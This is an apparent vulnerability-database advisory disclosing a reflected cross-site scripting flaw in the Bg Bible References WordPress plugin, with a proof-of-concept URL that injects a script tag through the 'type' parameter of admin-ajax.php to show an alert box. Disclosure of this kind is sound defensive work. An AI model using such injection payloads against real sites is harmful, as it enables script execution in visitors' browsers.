WordPress Plugin Vulnerabilities

Bg Bible References <= 3.8.14 - Reflected XSS

Description

The plugin does not sanitize and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting.

Proof of Concept

Steps to reproduce:

1. Install the vulnerable plugin (bg-biblie-references 3.18.4)
2. As an unauthenticated or authenticated user, visit the following URL which triggers an alert box:

http://127.0.0.1:7777/wp-admin/admin-ajax.php?action=bg_bibrefs&title=Gen&lang=en&type=x'><script>alert(`xss`)</script>

Affects Plugins

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
cydave
Submitter
cydave
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Verified
Yes

Timeline

Publicly Published
2022-12-17 (about 1 years ago)
Added
2022-12-17 (about 1 years ago)
Last Updated
2022-12-17 (about 1 years ago)

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